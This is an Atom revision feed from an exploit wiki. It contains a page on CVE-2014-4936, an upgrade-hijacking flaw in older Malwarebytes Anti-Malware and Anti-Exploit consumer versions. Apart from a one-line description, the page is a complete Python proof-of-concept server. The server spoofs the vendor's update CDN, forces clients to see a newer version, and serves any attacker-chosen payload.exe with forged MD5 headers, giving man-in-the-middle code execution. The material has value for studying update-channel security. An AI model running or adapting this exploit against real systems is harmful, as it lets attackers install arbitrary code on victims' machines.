<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-4936_Malwarebytes_Anti-Malware_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2014-4936 Malwarebytes Anti-Malware 任意代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-4936_Malwarebytes_Anti-Malware_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-4936_Malwarebytes_Anti-Malware_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T23:06:39Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2014-4936_Malwarebytes_Anti-Malware_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1100&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-4936_Malwarebytes_Anti-Malware_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1100&amp;oldid=prev"/>
		<updated>2021-04-07T08:05:49Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in-the-middle attackers to execute arbitrary code by spoofing the update server and uploading an executable.&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 Created by Yonathan Klijnsma&lt;br /&gt;
    http://blog.0x3a.com/&lt;br /&gt;
    http://twitter.com/ydklijnsma&lt;br /&gt;
    &lt;br /&gt;
 Malwarebytes Anti-Malware and Anti-Exploit upgrade hijacking vulnerability&lt;br /&gt;
 Note: Only the consumer versions of these products are affected, the business&lt;br /&gt;
       versions of these products are not affected as they do not check for&lt;br /&gt;
       upgrades against the Malwarebytes CDN.&lt;br /&gt;
&lt;br /&gt;
 Assigned CVE: CVE-2014-4936&lt;br /&gt;
 Official CVE Description:&lt;br /&gt;
    Malwarebytes Anti-Malware in consumer version 2.0.2 and earlier and&lt;br /&gt;
    Malwarebytes Anti-Exploit in consumer version 1.03 and earlier allow&lt;br /&gt;
    attackers to execute arbitrary code due to program upgrade hijacking.&lt;br /&gt;
    Corporate versions are not affected.&lt;br /&gt;
&lt;br /&gt;
 Malwarebytes Anti-Malware:&lt;br /&gt;
	- Vulnerability discovered: June 18th 2014&lt;br /&gt;
	- Vulnerability reported: July 16th 2014&lt;br /&gt;
	- Vulnerability fixed in version 2.0.3 released on October 3rd 2014&lt;br /&gt;
 Malwarebytes Anti-Exploit:&lt;br /&gt;
	- Vulnerablity discovered: August 19th 2014&lt;br /&gt;
	- Vulnerability reported: August 21st 2014&lt;br /&gt;
	- Vulnerability fixed in version 1.04.1.1012 released on September 5th 2014&lt;br /&gt;
   &lt;br /&gt;
 This update server works for both products. Redirect DNS towards this&lt;br /&gt;
 host for 'data-cdn.mbamupdates.com' and any subdomains of this. Put a&lt;br /&gt;
 payload in the same dir as this script and call it 'payload.exe'. This&lt;br /&gt;
 payload will be send to the clients when they ask for updates.&lt;br /&gt;
 &lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer&lt;br /&gt;
from datetime import datetime, timedelta&lt;br /&gt;
from md5 import md5&lt;br /&gt;
import urlparse&lt;br /&gt;
import base64&lt;br /&gt;
import sys&lt;br /&gt;
import re&lt;br /&gt;
&lt;br /&gt;
PORT_NUMBER = 80&lt;br /&gt;
UA_PROG_VER_REGEXP = re.compile('base:(\d+\.\d+\.\d+\.\d+)')&lt;br /&gt;
MBAM_VERSION_DOWNLOAD_PATH = ''&lt;br /&gt;
MBAE_VERSION_DOWNLOAD_PATH = ''&lt;br /&gt;
MBAE_FORCE_UPDATE_VERSION = '9.99.9.9999'&lt;br /&gt;
PAYLOAD_PATH = './payload.exe'&lt;br /&gt;
&lt;br /&gt;
class mbamCDNHandler(BaseHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
    def mbae_program_check(self):&lt;br /&gt;
        global MBAE_VERSION_DOWNLOAD_PATH&lt;br /&gt;
        global MBAE_FORCE_UPDATE_VERSION&lt;br /&gt;
        &lt;br /&gt;
        # Set the version download path so we reconize the URI when the client comes back&lt;br /&gt;
        MBAE_VERSION_DOWNLOAD_PATH = '/v2/mbae/consumer/data/mbae-setup-' + MBAE_FORCE_UPDATE_VERSION + '.exe'&lt;br /&gt;
        &lt;br /&gt;
        date = datetime.now()&lt;br /&gt;
        date_exp = date + timedelta(hours=1)&lt;br /&gt;
&lt;br /&gt;
        self.send_response(200)&lt;br /&gt;
        # Not all headers are needed but we'll do it anyway.&lt;br /&gt;
        self.send_header('Accept-Ranges', 'bytes')&lt;br /&gt;
        self.send_header('Cache-Control', 'max-age=300')&lt;br /&gt;
        self.send_header('Content-Type', 'application/octet-stream')&lt;br /&gt;
        self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Etag', '&amp;quot;0-0000000000000&amp;quot;')&lt;br /&gt;
        self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Server', 'ECAcc (ams/48C9)')&lt;br /&gt;
        self.send_header('Content-Length', str(len(MBAE_FORCE_UPDATE_VERSION)))&lt;br /&gt;
        self.send_header('Connection', 'close')&lt;br /&gt;
        self.end_headers()&lt;br /&gt;
&lt;br /&gt;
        self.wfile.write(MBAE_FORCE_UPDATE_VERSION)&lt;br /&gt;
&lt;br /&gt;
        print '[+] MBAE Client program version check, enforced update to version {}'.format(MBAE_FORCE_UPDATE_VERSION)        &lt;br /&gt;
    &lt;br /&gt;
    def mbae_program_update(self):&lt;br /&gt;
        global PAYLOAD_PATH&lt;br /&gt;
        payload_data = open(PAYLOAD_PATH, 'rb').read()&lt;br /&gt;
&lt;br /&gt;
        date = datetime.now()&lt;br /&gt;
        date_exp = date + timedelta(hours=1)&lt;br /&gt;
&lt;br /&gt;
        self.send_response(200)&lt;br /&gt;
        # Not all headers are needed but we'll do it anyway.&lt;br /&gt;
        self.send_header('Accept-Ranges', 'bytes')&lt;br /&gt;
        self.send_header('Cache-Control', 'max-age=300')&lt;br /&gt;
        self.send_header('Content-Type', 'application/x-msdos-program')&lt;br /&gt;
        self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Etag', '&amp;quot;000000-00000000000000&amp;quot;')&lt;br /&gt;
        self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Server', 'ECAcc (dfw/2794)')&lt;br /&gt;
        self.send_header('X-Cache', 'HIT')&lt;br /&gt;
        self.send_header('Content-Length', str(len(payload_data)))&lt;br /&gt;
        self.end_headers()&lt;br /&gt;
&lt;br /&gt;
        # Payload data goes into the response plain&lt;br /&gt;
        self.wfile.write(payload_data)&lt;br /&gt;
&lt;br /&gt;
        print '[+] MBAE Client payload download.'&lt;br /&gt;
&lt;br /&gt;
    def mbam_program_check(self):&lt;br /&gt;
        global MBAM_VERSION_DOWNLOAD_PATH&lt;br /&gt;
&lt;br /&gt;
        # Get a version number higher than the current (to force the client to download an update)&lt;br /&gt;
        ua = self.headers['User-Agent']&lt;br /&gt;
        m = re.search(UA_PROG_VER_REGEXP, ua)&lt;br /&gt;
        if(m == None):&lt;br /&gt;
            self.send_response(500)&lt;br /&gt;
            return&lt;br /&gt;
&lt;br /&gt;
        # Set the version download path so we recognize the URI when the client comes back&lt;br /&gt;
        version_response = m.group(0)[5:]&lt;br /&gt;
        version_response = str(int(version_response[0]) + 1) + version_response[1:]&lt;br /&gt;
        MBAM_VERSION_DOWNLOAD_PATH = '/v0/program/data/mbam-setup-' + version_response + '.exe'&lt;br /&gt;
&lt;br /&gt;
        # We need to put a hash in the response headers&lt;br /&gt;
        vhash = md5()&lt;br /&gt;
        vhash.update(version_response)&lt;br /&gt;
&lt;br /&gt;
        date = datetime.now()&lt;br /&gt;
        date_exp = date + timedelta(hours=1)&lt;br /&gt;
&lt;br /&gt;
        self.send_response(200)&lt;br /&gt;
        # Not all headers are needed but we'll do it anyway, important one is the MD5&lt;br /&gt;
        self.send_header('Accept-Ranges', 'bytes')&lt;br /&gt;
        self.send_header('Cache-Control', 'max-age=300')&lt;br /&gt;
        self.send_header('Content-MD5', base64.b64encode(vhash.hexdigest()))&lt;br /&gt;
        self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Etag', '&amp;quot;0-0000000000000&amp;quot;')&lt;br /&gt;
        self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Server', 'ECAcc (ams/4890)')&lt;br /&gt;
        self.send_header('x-admin', 'tedivm was here.')&lt;br /&gt;
        self.send_header('X-Cache', 'HIT')&lt;br /&gt;
        self.send_header('x-shameless-plug', 'Looking for a dev job? Send your resume to jobs@malwarebytes.org')&lt;br /&gt;
        self.send_header('Content-Length', str(len(version_response)))&lt;br /&gt;
        self.send_header('Connection', 'close')&lt;br /&gt;
        self.end_headers()&lt;br /&gt;
&lt;br /&gt;
        self.wfile.write(version_response)&lt;br /&gt;
&lt;br /&gt;
        print '[+] MBAM Client program version check: Client version {}, enforced update version {}'.format(m.group(0)[5:], version_response)&lt;br /&gt;
&lt;br /&gt;
    def mbam_program_update(self):&lt;br /&gt;
        global PAYLOAD_PATH&lt;br /&gt;
        payload_data = open(PAYLOAD_PATH, 'rb').read()&lt;br /&gt;
&lt;br /&gt;
        vhash = md5()&lt;br /&gt;
        vhash.update(payload_data)&lt;br /&gt;
&lt;br /&gt;
        date = datetime.now()&lt;br /&gt;
        date_exp = date + timedelta(hours=1)&lt;br /&gt;
&lt;br /&gt;
        self.send_response(200)&lt;br /&gt;
        # Not all headers are needed but we'll do it anyway, important one is the MD5&lt;br /&gt;
        self.send_header('Accept-Ranges', 'bytes')&lt;br /&gt;
        self.send_header('Cache-Control', 'max-age=300')&lt;br /&gt;
        self.send_header('Content-MD5', base64.b64encode(vhash.hexdigest()))&lt;br /&gt;
        self.send_header('Content-Type', 'application/x-msdos-program')&lt;br /&gt;
        self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Etag', '&amp;quot;000000-00000000000000&amp;quot;')&lt;br /&gt;
        self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))&lt;br /&gt;
        self.send_header('Server', 'ECAcc (dfw/27A5)')&lt;br /&gt;
        self.send_header('x-admin', 'tedivm was here.')&lt;br /&gt;
        self.send_header('X-Cache', 'HIT')&lt;br /&gt;
        self.send_header('x-shameless-plug', 'Looking for a dev job? Send your resume to jobs@malwarebytes.org')&lt;br /&gt;
        self.send_header('Content-Length', str(len(payload_data)))&lt;br /&gt;
        self.send_header('Connection', 'close')&lt;br /&gt;
        self.end_headers()&lt;br /&gt;
&lt;br /&gt;
        # Payload data goes into the response plain&lt;br /&gt;
        self.wfile.write(payload_data)&lt;br /&gt;
&lt;br /&gt;
        print '[+] MBAM Client payload download.'&lt;br /&gt;
        &lt;br /&gt;
    def do_GET(self):&lt;br /&gt;
        if self.path == &amp;quot;/v0/program/mbam.check.program&amp;quot;: # MBAM update check&lt;br /&gt;
            self.mbam_program_check()&lt;br /&gt;
        elif self.path ==&amp;quot;/v2/mbae/consumer/version.chk&amp;quot;: # MBAE update check&lt;br /&gt;
            self.mbae_program_check()&lt;br /&gt;
        elif self.path == MBAM_VERSION_DOWNLOAD_PATH: # MBAM update retrieval&lt;br /&gt;
            self.mbam_program_update()&lt;br /&gt;
	elif self.path == MBAE_VERSION_DOWNLOAD_PATH: # MBAE update retrieval&lt;br /&gt;
	    self.mbae_program_update()&lt;br /&gt;
        else: # Any other requests we just reply 200 OK, it doesn't matter for the client if the actual reply is empty.&lt;br /&gt;
            print '[+] Attempt for URI: {}'.format(self.path)&lt;br /&gt;
            self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    try:&lt;br /&gt;
            server = HTTPServer(('', PORT_NUMBER), mbamCDNHandler)&lt;br /&gt;
            print 'Started Malwarebytes CDN simulator.'&lt;br /&gt;
            server.serve_forever()&lt;br /&gt;
     &lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
            print '^C received, shutting down the web server'&lt;br /&gt;
            server.socket.close()&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    sys.exit(main())&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>